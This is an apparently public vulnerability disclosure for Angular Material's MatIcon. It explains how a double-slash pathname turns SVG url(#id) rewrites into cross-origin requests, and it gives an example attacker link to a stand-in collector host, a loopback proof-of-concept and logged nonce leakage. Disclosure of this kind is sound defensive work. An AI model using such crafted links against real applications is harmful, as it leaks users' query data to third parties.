bug(material/icon): keep FuncIRI references same-origin on multi-slash paths

Is this a regression?

No known regression. The affected FuncIRI rewriting logic is long-standing.

Description

Google's Open Source Software VRP referred me to the Angular maintainers and asked me to open a public issue and pull request for this finding (Google OSS VRP issue 548479960).

MatIcon rewrites same-document SVG FuncIRI references such as fill="url(#gradient)" by prepending document.location.pathname + document.location.search. A URL on the application's own origin can have a pathname beginning with two slashes, for example:

https://app.example//collector.example/paint?user=123

In that case location.pathname is //collector.example/paint, so the rewritten attribute becomes a protocol-relative, cross-origin reference:

url('//collector.example/paint?user=123#gradient')

Chrome consequently sends a GET request to https://collector.example/paint?user=123. The source is MAT_ICON_LOCATION; the sink is _prependPathToReferences() in src/material/icon/icon.ts. The same behavior applies to every SVG FuncIRI attribute in funcIriAttributes, including fill, filter, mask, clip-path, marker*, and stroke (CWE-610).

The behavior is present on current main (22.2.0-next.5) and the latest stable release (22.1.6).

Security impact and severity

An unauthenticated attacker can send a trusted-origin-looking link to a user of an affected app. If the app serves its SPA for a //-prefixed path and renders a FuncIRI SVG icon there, opening the link causes cross-origin SVG resource requests to an attacker-selected host and path.

Two additional tests on the exact @angular/[email protected] package establish limited confidentiality and integrity impact:

• After the first icon render and request, the app generated a fresh 128-bit nonce and added it to the current query with history.replaceState. On the next change-detection pass, MatIcon.ngAfterViewChecked() copied that previously unknown value into the FuncIRI and the cross-site logger received it. This demonstrates that application-generated query state can leave the trusted origin; it is not limited to attacker-known tracking data.
• A CORS-enabled attacker SVG defining the expected gradient ID controlled the affected icon's pixels. Red and green responses produced average icon RGB values of (255, 5, 5) and (5, 255, 5), respectively. This is limited icon-presentation integrity, not arbitrary DOM or script control.

The receiving host also learns that the link was opened, together with the source IP, timing, ordinary request metadata, and the application origin in the default Referer observed in the reproduction.

For CVSS v3.1, a reasonable affected configuration is assumed and the request is deterministic once the page renders, so the strongest defensible candidate vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (6.1 Medium). CVSS v4.0 represents the deployment preconditions explicitly: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (2.3 Low).

The demonstrated request carried no target cookies or authorization credentials, and application script cannot read its response. This report does not claim XSS, authenticated CSRF, code execution, arbitrary page modification, or broad application-secret disclosure.

Reproduction

The runnable local-only reproduction, source, raw logger output, assertion results, and pixel screenshots are at:

https://github.com/moamenmahmod/angular-material-funciri-poc

Both servers bind to loopback. To reproduce:

git clone https://github.com/moamenmahmod/angular-material-funciri-poc.git
cd angular-material-funciri-poc
npm install
npm run build
npm run serve

# In a second shell:
npm run verify
npm run check:integrity

The core sequence is:

1. The page opens at http://localhost:4216//127.0.0.1:4217/collect and renders a gradient-backed mat-icon.
2. The initial rewrite triggers GET /collect at the separate logger.
3. Only then, the app creates a fresh nonce with crypto.getRandomValues and adds it to the query with history.replaceState.
4. Angular change detection causes MatIcon to rewrite the FuncIRI again.
5. The logger receives the fresh value in a cross-site request.

Observed:

initial fill  = url('//127.0.0.1:4217/collect#fresh-gradient')
fresh nonce   = 43386642ba36df1f17d39c6e2c7cdd40
rewritten fill= url('//127.0.0.1:4217/collect?fresh_nonce=43386642ba36df1f17d39c6e2c7cdd40#fresh-gradient')
logger        = GET /collect?fresh_nonce=43386642ba36df1f17d39c6e2c7cdd40
Sec-Fetch-Site: cross-site

All eight assertions in verification-result.json pass. The independent paint check is recorded in integrity-result.json.

The accompanying pull request adds a focused regression test using the existing MAT_ICON_LOCATION test provider.

Expected Behavior

Rewriting an in-document url(#id) reference must keep it on the current document and origin, even when location.pathname begins with multiple slashes.

Actual Behavior

The raw path is interpolated into url(). Two leading slashes turn the reference into a protocol-relative URL and cause a cross-origin GET in Chrome.

Environment

• Angular: 22.1.6 and current main
• CDK/Material: 22.1.6 and 22.2.0-next.5
• Browser(s): Chrome/Chromium
• Operating System: macOS (the URL construction itself is platform-independent)